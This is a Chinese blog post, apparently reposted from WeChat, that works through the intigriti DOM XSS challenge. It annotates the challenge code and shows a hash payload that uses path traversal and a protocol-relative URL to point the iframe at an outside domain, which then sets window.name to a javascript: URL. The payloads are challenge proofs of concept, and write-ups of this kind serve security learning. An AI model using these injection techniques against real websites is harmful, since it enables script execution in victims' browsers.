“ 我和我的学习永不分离”
首先这是个xss challenge
看了下以前的xss题目历史,都觉得还是很有意思的,因为我做不出来。
和脑洞比起来还好……
地址是challenge.intigriti.io 上推特搜下就知道了,一共3个人做出来 其中一个国内的大佬,一直做不出来,最后和大佬交流发现。。。。做不出来的原因是我用的firefox,好像在断点调试上面和chrome不一样。。有点区别,好像firefox功能没那么强大,也许是bug!?也许是我不会用firefox的单步调试,因为firefox在中无法调试iframe中的东西。好吧,我在打这段话的时候又去测试了下firefox,其实是可以的………是我不会用firefox而已。。。。。。。。。好尴尬……我错了,我已经打好了就不删掉了,顺便让你们体会下我这个心里路程。等下写一个帖子讲一下这个断点的教程。。。。。
首先代码如下,- - 主要就是为了学习,burp license就不要考虑了。。。
源代码注释
(location.search == "") ? true : location =location.pathname; //判断下地址栏是否存在参数,如果存在参数就跳转
var iframe =document.createElement("iframe"); //动态创建iframe
var id = location.hash.substr(1); //获得#后面的内容给id
var path = `/static/4/${id}.png`; //把id给path path是一个路径
iframe.name = `Image :: ${id}`; iframe.src = path; //创建一个name
iframe.onclick = function(e){ //创建一个事件闭包
window.open(this.contentWindow.name, this.src); //打开iframe内的name值
}
document.body.appendChild(iframe);
01
—
断点分析
9行代码,直接告诉你答案,这个XSS触发点是个DOM的,既然是DOM XSS的挑战 那触发点很明显,就是这个window.open方法。
第一行的代码location=location.pathname其实如果你有什么tip可以让pathname也可以控,那就。。是一个xss了
在关键那一行,window.open的第一个参数,一般dom xss就是
window.open("javascript:alert`1`;",'test');
对照这个代码里的,就是我们需要控制this.contentWindow.name,这个变量是指iframe窗体内的name变量。
回到第一行,location这个关键词是可以跳转的,如果我们有办法让浏览器location到我们的网站就好了。因为这个比赛的官方放了一个tip:“//不仅仅是注释符”
接下来我们进入debug状态
我们本着SQL注入的思维,对可控的pathname进行常规测试,注入代码为
https://challenge.intigriti.io/#../../..//xsser.cn/?
这样的话可以满足location.search,然后因为有多个/,pathname可能会认为是/#../../..//xsser.cn/
我们先给18行下断点(图里的18行)
可以看到此时的pathname是"/",这个其实是没问题的。
代码步进继续debug
此时因为没有对子域名下断点,debug跟不到。。。。直接代码结束也没任何反应。。这就是firefox和chrome下的差异,这道题用chrome分分钟解出,用firefox会很困惑 以为自己的思路有问题。
我们重新debug,并且在firefox下对跳转的域名的代码也debug,在chrome只要在主代码里debug就行了。
我们的思路就是注入代码,让path变量变成/static/4/../..//xsser.cn/?.png,那么iframe里的页面会跳转到我们的域名,因为在浏览器里/static/4/../../被浏览器自动完成了目录跳转,进入2个目录然后通过../跳出来,相当于什么也没进去。
然后//在浏览器里又是使用当前默认的协议的意思,所以这个path就相当于//xsser.cn/?.png,"?"后面是参数,相当于没有,没啥用。所以最后的iframe.src就等于"//xsser.cn/?.png",于是乎iframe加载了xsser.cn
就这么简单
那么iframe的src是我们可以控的...window.name不就是手到擒来。只要在你的xsser.cn首页加载一段js,设置当前的window.name="javascript:alert`xss`;"
你就可以看到那个可爱的小框框
本文始发于微信公众号(xsser的博客):Dom XSS Challenge
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论